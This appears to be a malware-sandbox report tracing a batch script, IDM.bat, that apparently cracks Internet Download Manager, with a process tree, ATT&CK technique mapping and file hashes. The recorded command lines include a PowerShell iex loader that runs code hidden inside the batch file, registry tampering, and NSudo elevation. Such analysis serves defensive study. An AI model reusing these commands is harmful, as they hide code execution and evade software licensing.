        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat') -split ':PowerShellTest:\s*';iex ($f[1])"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1156
        
        C:\Windows\System32\find.exe
        
        find /i "FullLanguage"
        7⤵
        
        PID:3020
        
        C:\Windows\System32\fltMC.exe
        
        fltmc
        7⤵
        
        PID:4836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property CreationClassName"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2012
        
        C:\Windows\System32\find.exe
        
        find /i "computersystem"
        7⤵
        
        PID:4520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value" 2>nul
        7⤵
        
        PID:400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4924
        
        C:\Windows\System32\reg.exe
        
        reg query HKU\\Software
        7⤵
        
        PID:388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid" 2>nul
        7⤵
        
        PID:4708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1604
        
        C:\Windows\System32\reg.exe
        
        reg query HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\Software
        7⤵
        
        PID:3648
        
        C:\Windows\System32\reg.exe
        
        reg delete HKCU\IAS_TEST /f
        7⤵
        Modifies registry key
        
        PID:4900
        
        C:\Windows\System32\reg.exe
        
        reg delete HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\IAS_TEST /f
        7⤵
        
        PID:1228
        
        C:\Windows\System32\reg.exe
        
        reg add HKCU\IAS_TEST
        7⤵
        Modifies registry key
        
        PID:1540
        
        C:\Windows\System32\reg.exe
        
        reg query HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\IAS_TEST
        7⤵
        
        PID:3044
        
        C:\Windows\System32\reg.exe
        
        reg delete HKCU\IAS_TEST /f
        7⤵
        Modifies registry key
        
        PID:2264
        
        C:\Windows\System32\reg.exe
        
        reg delete HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\IAS_TEST /f
        7⤵
        
        PID:1476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE
        7⤵
        
        PID:4080
        
        C:\Windows\System32\reg.exe
        
        reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE
        8⤵
        
        PID:4468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\Software\DownloadManager" /v ExePath 2>nul
        7⤵
        
        PID:3856
        
        C:\Windows\System32\reg.exe
        
        reg query "HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\Software\DownloadManager" /v ExePath
        8⤵
        
        PID:928
        
        C:\Windows\System32\reg.exe
        
        reg add HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST
        7⤵
        Modifies registry class
        
        PID:4672
        
        C:\Windows\System32\reg.exe
        
        reg query HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST
        7⤵
        
        PID:1972
        
        C:\Windows\System32\reg.exe
        
        reg delete HKU\S-1-5-21-2555750229-3157966592-4138184120-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST /f
        7⤵
        Modifies registry class
        
        PID:4664
        
        C:\Windows\System32\mode.com
        
        mode 75, 28
        7⤵
        
        PID:1200
        
        C:\Windows\System32\choice.exe
        
        choice /C:1234567 /N
        7⤵
        
        PID:4604
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.internetdownloadmanager.com/download.html
        7⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1140
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb27fa3cb8,0x7ffb27fa3cc8,0x7ffb27fa3cd8
        8⤵
        
        PID:3128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1820 /prefetch:2
        8⤵
        
        PID:2264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
        8⤵
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        
        PID:128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8
        8⤵
        
        PID:1028
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        8⤵
        
        PID:2068
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
        8⤵
        
        PID:860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
        8⤵
        
        PID:924
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2448 /prefetch:1
        8⤵
        
        PID:4356
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1788 /prefetch:8
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5092
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2556 /prefetch:1
        8⤵
        
        PID:656
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:1
        8⤵
        
        PID:4416
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5564 /prefetch:8
        8⤵
        
        PID:2800
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5564 /prefetch:8
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1316
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4976 /prefetch:1
        8⤵
        
        PID:4356
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6132 /prefetch:8
        8⤵
        
        PID:2800
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5764 /prefetch:1
        8⤵
        
        PID:2128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17959877058554496800,11681300643227795004,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1788 /prefetch:1
        8⤵
        
        PID:2632
        
        C:\Windows\System32\mode.com
        
        mode 75, 28
        7⤵
        
        PID:2568
        
        C:\Windows\System32\choice.exe
        
        choice /C:1234567 /N
        7⤵
        
        PID:4796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\ytmp\IDM.bat') -split \":txt\:.*`r`n\"; [io.file]::WriteAllText('C:\Windows\Temp\ReadMe.txt',$f[1].Trim(),[System.Text.Encoding]::ASCII);"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4756
        
        C:\Windows\System32\notepad.exe
        
        notepad "C:\Windows\Temp\ReadMe.txt"
        7⤵
        Opens file in notepad (likely ransom note)
        
        PID:4868
        
        C:\Windows\System32\timeout.exe
        
        timeout /t 2
        7⤵
        Delays execution with timeout.exe
        
        PID:1884
        
        C:\Windows\System32\mode.com
        
        mode 75, 28
        7⤵
        
        PID:4236
        
        C:\Windows\System32\choice.exe
        
        choice /C:1234567 /N
        7⤵
        
        PID:2980
        
        C:\Windows\System32\mode.com
        
        mode 113, 35
        7⤵
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=34;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe
        
        NSudo86x -U:C -P:E -UseCurrentConsole "C:\Program Files (x86)\Internet Download Manager\IDMan.exe" /onboot
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4888
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.crackingcity.com/
        7⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of SendNotifyMessage
        
        PID:4348
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb27fa3cb8,0x7ffb27fa3cc8,0x7ffb27fa3cd8
        8⤵
        
        PID:3652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1928 /prefetch:2
        8⤵
        
        PID:1476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 /prefetch:3
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2792 /prefetch:8
        8⤵
        
        PID:3408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
        8⤵
        
        PID:4856
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
        8⤵
        
        PID:1660
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
        8⤵
        
        PID:3448
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5656 /prefetch:8
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1604
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5672 /prefetch:8
        8⤵
        
        PID:1164
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5672 /prefetch:8
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2044
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
        8⤵
        
        PID:4208
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:1
        8⤵
        
        PID:716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5540 /prefetch:1
        8⤵
        
        PID:2824
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,16021786044795710989,16084325738836518854,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3496 /prefetch:1
        8⤵
        
        PID:3436
        
        C:\Windows\System32\mode.com
        
        mode 75, 28
        7⤵
        
        PID:1192
        
        C:\Windows\System32\choice.exe
        
        choice /C:1234567 /N
        7⤵
        
        PID:1784

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:572

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2420

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RTFERTQ3QzYtMEQxNi00MDJDLUE1OUUtOTJDMjJDOThENDVBfSIgdXNlcmlkPSJ7Q0NBQTNEM0YtMTI2Mi00NjlBLUJBOUUtRUY1Q0M5MzgxMDRGfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7OUFDOTIyQkQtQ0ZDQi00MEE3LTlBOEYtQTI2OEI3NzExMTVEfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RSt4YkF6Nlk2c1UxMjg5YlM2cWw0VlJMYmtqZkJVR1RNSnNqckhyNDRpST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNjLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iMTIzLjAuNjMxMi4xMjMiIG5leHR2ZXJzaW9uPSIiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjMiIGluc3RhbGxkYXRldGltZT0iMTczOTE4NDMzNiIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMzgzNjU1NjQ3OTQxMDAwMCI-PGV2ZW50IGV2ZW50dHlwZT0iMzEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjIxNzk4NjIiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUwNjIzNDI0NDMiLz48L2FwcD48L3JlcXVlc3Q-
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:424

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4836

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d0c46cad6c0778401e21910bd6b56b70

SHA1
7be418951ea96326aca445b8dfe449b2bfa0dca6

SHA256
9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02

SHA512
057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e6ccdd370d8b96a5ab810745b4732161

SHA1
a5ab499e95cd44dec08f95f9c1cb55ba8207cf76

SHA256
50f583c9aaca6e9d27312793e40a7a8592cd360d0673f0bad9dc96f3da4f0b2a

SHA512
fc2db021d290fa4e63566ac0e6f5f28e44dd8aedfc9b3e3009db898d072674fd5807e472934423c601b5e7da3972a1bd710845eb612eb2486915f1e2627900e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
cb7fc9b0c2b21e5706641c421c4f5f84

SHA1
b911ef5164b8d968972e026743652dbd37e9d111

SHA256
aff9a8e6cfc7e101c493a18f07a77645b292429ba65e28c964445b0020bc3c96

SHA512
81f3ae6deed2fb35b46eec2a1ffe2fb31a430e91cda046d57b51f6a5a8a3cf757665a7c30e9e341da307ecf2049e44b4b34b6979fa953216295c5043a4f428d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
